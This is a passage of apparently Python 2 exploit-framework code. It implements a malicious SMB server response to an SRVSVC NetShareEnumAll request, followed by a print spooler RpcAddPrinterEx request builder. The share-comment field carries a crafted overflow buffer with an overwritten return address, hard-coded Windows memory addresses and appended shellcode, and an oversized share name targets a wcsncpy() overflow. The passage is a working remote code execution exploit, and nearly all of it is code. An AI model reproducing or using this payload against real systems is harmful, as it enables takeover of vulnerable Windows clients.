'\\PIPE\\ntsvcs\0\0' + struct.pack( '<LL', 0x00000001, 0x00000000) response += struct.pack('<LHHBBBBBBBBL', 0x8a885d04, 0x1ceb, 0x11c9, 0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60, 0x00000002) s.sendall(response) request = self.recvall(s) #SRVSVC NetShareEnumAll request if len(request) < 0x68 or request[4:8] != '\xffSMB' or ord( request[8]) != 0x25: self.log( 'Unexpected packet received instead of "SRVSVC NetShareEnumAll request"' ) return False callid = struct.unpack('<L', request[0x64:0x68])[0] pid = struct.unpack('<H', request[0x1e:0x20])[0] muxid = struct.unpack('<H', request[0x22:0x24])[0] #SRVSVC NetShareEnumAll response comment = '' comment += 'B' * 0x20 comment += struct.pack('<L', 0xfffffffc) comment += 'CCCC' comment += struct.pack('<L', self.eip) comment += 'DDDD' comment += struct.pack('<L', 0x7ffdf204) comment += 'E' * 0xc comment += struct.pack( '<L', 0x7ffdf1e4) #0x7ffdf1e0 points to 'Service Pack 4' comment += struct.pack('<L', 0x01010101) comment += struct.pack('<L', 0x7ffdf0ac) comment += 'FFFF' comment += 'G' * 0xc comment += self.shellcode if (len(comment) % 2) != 0: comment += '\xcc' data = '' data += struct.pack('<L', 1) data += struct.pack('<L', 1) data += struct.pack('<L', 1) #[unique] data += struct.pack('<L', 6) data += struct.pack('<L', 2) #[unique] data += struct.pack('<L', 6) data += struct.pack('<LLL', 3, 0x80000003, 4) #[unique],type,[unique] data += struct.pack('<LLL', 5, 0x00000000, 6) #[unique],type,[unique] data += struct.pack('<LLL', 7, 0x00000001, 8) #[unique],type,[unique] data += struct.pack('<LLL', 9, 0x80000000, 10) #[unique],type,[unique] data += struct.pack('<LLL', 11, 0x80000000, 12) #[unique],type,[unique] data += struct.pack('<LLL', 13, 0x00000000, 14) #[unique],type,[unique] data += s_dce_win2k_unistring('IPC$') data += s_dce_win2k_unistring('Remote IPC') data += s_dce_win2k_unistring('print$') data += s_dce_win2k_unistring('Printer Drivers') data += s_dce_win2k_unistring('A' * 0x207) #wcsncpy() is 0x207 cch long data += s_dce_raw_unistring(comment) data += s_dce_win2k_unistring('ADMIN$') data += s_dce_win2k_unistring('Remote Admin') data += s_dce_win2k_unistring('C$') data += s_dce_win2k_unistring('Default share') data += s_dce_win2k_unistring('Shared') data += s_dce_win2k_unistring('') data += struct.pack('<LLL', 6, 0, 0) #SMB Pipe TransactNmPipe Response, FID: 0x4000 self.log('Sending 1st fragment of NetShareEnumAll response') #Fragment 1 response = '' response += struct.pack('>BBH', 0x00, 0x00, 0x0438) + '\xffSMB' + struct.pack( '<BL', 0x25, 0x80000005) response += struct.pack('<BHH', 0x98, 0xc807, 0x0000) + '\0' * 0x08 response += struct.pack('<HHHHH', 0x0000, 0x0800, pid, 0x0800, muxid) #tid pid uid response += struct.pack('<BHHHHHHHHHBBHB', 0x0a, 0x0000, 0x0400, 0x0000, 0x0000, 0x0038, 0x0000, 0x0400, 0x0038, 0x0000, 0x00, 0x00, 0x0401, 0x00) response += struct.pack('<BBBBLHHLL', 0x05, 0x00, 0x02, 0x03, 0x00000010, 0x0018 + len(data), 0x0000, callid, len(data)) response += struct.pack('<HH', 0x0000, 0x0000) response += data[:0x400 - 0x18] s.sendall(response) request = self.recvall(s) #SMB Read AndX Request, FID: 0x4000, ??? bytes at offset 0 if len(request) < 0x24 or request[4:8] != '\xffSMB' or ord( request[8]) != 0x2e: self.log( 'Unexpected packet received instead of "SMB Read AndX Request, FID: 0x4000, ??? bytes at offset 0"' ) return False pid = struct.unpack('<H', request[0x1e:0x20])[0] muxid = struct.unpack('<H', request[0x22:0x24])[0] # XXX self.log('Sending 2nd fragment of NetShareEnumAll response') #Fragment 2 remaining = data[0x400 - 0x18:] response = '' response += struct.pack('>BBH', 0x00, 0x00, 0x48 + len(remaining)) + '\xffSMB' + struct.pack( '<BL', 0x2e, 0x00000000) response += struct.pack('<BHH', 0x98, 0xc807, 0x0000) + '\0' * 0x08 response += struct.pack('<HHHHH', 0x0000, 0x0800, pid, 0x0800, muxid) #tid pid uid response += struct.pack('<BBBHHHHHHL', 0x0c, 0xff, 0x00, 0x0000, 0x0000, 0x0000, 0x0000, len(remaining), 0x003c, 0x00000000) response += '\0' * 6 + struct.pack('<HB', len(remaining) + 1, 0x00) response += data[0x400 - 0x18:] s.sendall(response) request = self.recvall(s) #XXX: sleep instead of recvall return True
def RpcAddPrinterEx(self,servername,level,printername,description=None,comment=None): """ long _RpcAddPrinterEx ( [in][unique][string] wchar_t * arg_1, [in] struct struct_3 * arg_2, [in] struct struct_1 * arg_3, [in] struct struct_4 * arg_4, [in] struct struct_F * arg_5, [out][context_handle] void ** arg_6 ); """ if description!=None and (len(description)%2)!=0: description+='A' if comment!=None and (len(comment)%2)!=0: comment+='A' data='' data+=struct.pack('<L',1) #[unique] pName data+=s_dce_raw_unistring('\\\0\\\0'+servername) data+=struct.pack('<LL',level,level) #Level if level==1: data+=struct.pack('<L',2) #pPrinter data+=struct.pack('<L',0) #->Flags pointer=0 if description!=None: pointer=3 data+=struct.pack('<L',pointer) #->pDescription data+=struct.pack('<L',4) #->pName pointer=0 if comment!=None: pointer=5 data+=struct.pack('<L',pointer) #->pComment if description!=None: data+=s_dce_raw_unistring(description) #Description data+=s_dce_raw_unistring(printername) #Name if comment!=None: data+=s_dce_raw_unistring(comment) #Comment elif level==2: data+=struct.pack('<L',2) #pPrinter data+=struct.pack('<L',0) #->pServerName data+=struct.pack('<L',3) #->pPrinterName data+=struct.pack('<L',0) #->pShareName data+=struct.pack('<L',0) #->pPortName data+=struct.pack('<L',0) #->pDriverName data+=struct.pack('<L',0) #->pComment data+=struct.pack('<L',0) #->pLocation data+=struct.pack('<L',0) #->pDevMode data+=struct.pack('<L',0) #->pSepFile data+=struct.pack('<L',0) #->pPrintProcessor data+=struct.pack('<L',0) #->pdataType data+=struct.pack('<L',0) #->pParameters data+=struct.pack('<L',0) #->pSecurityDescriptor data+=struct.pack('<L',0) #->Attributes data+=struct.pack('<L',0) #->Priority data+=struct.pack('<L',0) #->DefaultPriority data+=struct.pack('<L',0) #->StartTime data+=struct.pack('<L',0) #->UntilTime data+=struct.pack('<L',0) #->Status data+=struct.pack('<L',0) #->cJobs data+=struct.pack('<L',0) #->AveragePPM data+=s_dce_raw_unistring(printername) #PrinterName data+=struct.pack('<L',0) data+=struct.pack('<L',0) data+=struct.pack('<L',0) data+=struct.pack('<L',0) data+=struct.pack('<LL',1,1) data+=struct.pack('<L',0) self.myDCE.call(0x46, data, response=True)